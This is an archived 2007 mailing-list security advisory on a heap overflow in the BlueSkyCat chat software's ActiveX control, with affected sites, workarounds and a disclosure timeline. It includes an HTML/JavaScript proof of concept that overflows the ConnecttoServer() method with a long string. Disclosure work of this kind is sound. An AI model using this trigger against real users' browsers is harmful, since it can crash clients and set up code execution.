

# [VulnWatch] CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2007-07/msg00037.html>

---

- *From:* Code Audit Labs <[vulnhunt@xxxxxxxxx](mailto:vulnhunt@xxxxxxxxx)>
  - *Date:* Tue, 31 Jul 2007 09:10:43 +0800
- 

CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

## BACKGROUND:

=====

BlueSkychat is a professional voice and video chat software widely used by large chat websites in china.

## DESCRIPTION:

=====

Code Audit Labs Code Audit for BlueSkyCat ActiveX Control and discovered a vulnerability .

Remote exploitation of a buffer overflow in an ActiveX control distributed with Bluesky.cn could allow for the execution of arbitrary code.

When Blueskychat are installed, they register the following ActiveX control on the system:

ProgId: V2.V2Ctrl.1  
ClassId: 2EA6D939-4445-43F1-A12B-8CB3DDA8B855  
File: v2.ocx

This control contains a buffer overflow in its ConnecttoServer() method.

This is a client side vulnerability. So the clients of following chat servers which install the affected BlueSkyCat software are affected.

bliao <http://www.bliao.com>

qqliao <http://www.qqliao.com>

7liao <http://www.7liao.com>

haoliao <http://www.haoliao.net>

51liao <http://chat.51liao.net>

heshang <http://www.heshang.net>

xicn <http://vchat.xicn.net>

CN104 <http://www.cn104.com>

[VulnWatch] CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

liao-tian <http://www.liao-tian.com>  
aliao <http://www.aliao.net>  
kuailiao <http://www.kuailiao.com>  
mtliao <http://www.mtliao.com>  
pj0427 <http://www.pj0427.com>  
uighur <http://chat.uighur.cn>  
wmliao <http://www.wmliao.com>

CVE:

=====

We request a CVE number to assign to this vulnerability.

Affected version:

=====

v2.ocx version 8.1.2.0 and prior

vendor:

=====

BlueSky <http://www.bluesky.cn/>

POC:

=====

```
<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">
```

```
function ClickForRunCalc()
```

```
{
var heapSprayToAddress = 0x0d0d0d0d;
```

```
var payLoadCode = "A" ;
while (payLoadCode.length <= 10000) payLoadCode+='A';
com.ConnecttoServer("1",payLoadCode,"3","4","5");
```

```
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>
```

Code Audit Labs Suggestion

=====

for vendor:

[VulnWatch] CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

Do a full coverage Code Audit or Code Review

for client:

The following workarounds are available for this vulnerability:

- \* Disable Active Scripting
- \* Unregister the vulnerable control
- \* Set the killbit for the vulnerable control
- \* or update the software from <http://www.bluesky.cn>

DISCLOSURE TIMELINE:

=====

- 1: 2007-07-29 notice vendor (mail to blueskychat@xxxxxxxxxx)
- 2: 2007-07-29 the vendor reply "thank,had fixed it".
- 3: 2007-07-30 we check it out, in fact,the websites which install the software did not almost all be updated,send mail to vendor again.
- 4: 2007-07-31 release this report

About Us:

=====

Code Audit Labs secure your software,provide Professional include source code audit and binary code audit service.

Code Audit Labs:" You create value for customer,We protect your value"

<http://www.VulnHunt.com>

Original LINK:

=====

1:

[http://www.vulnhunt.com/advisories/CAL-20070730-1\\_BlueSkyCat\\_v2.ocx\\_ActiveX\\_remote\\_heap\\_overflow\\_vulne](http://www.vulnhunt.com/advisories/CAL-20070730-1_BlueSkyCat_v2.ocx_ActiveX_remote_heap_overflow_vulne)

2: <http://CodeAudit.blogspot.com>

EOF

--

Code Audit Labs

<http://www.vulnhunt.com/>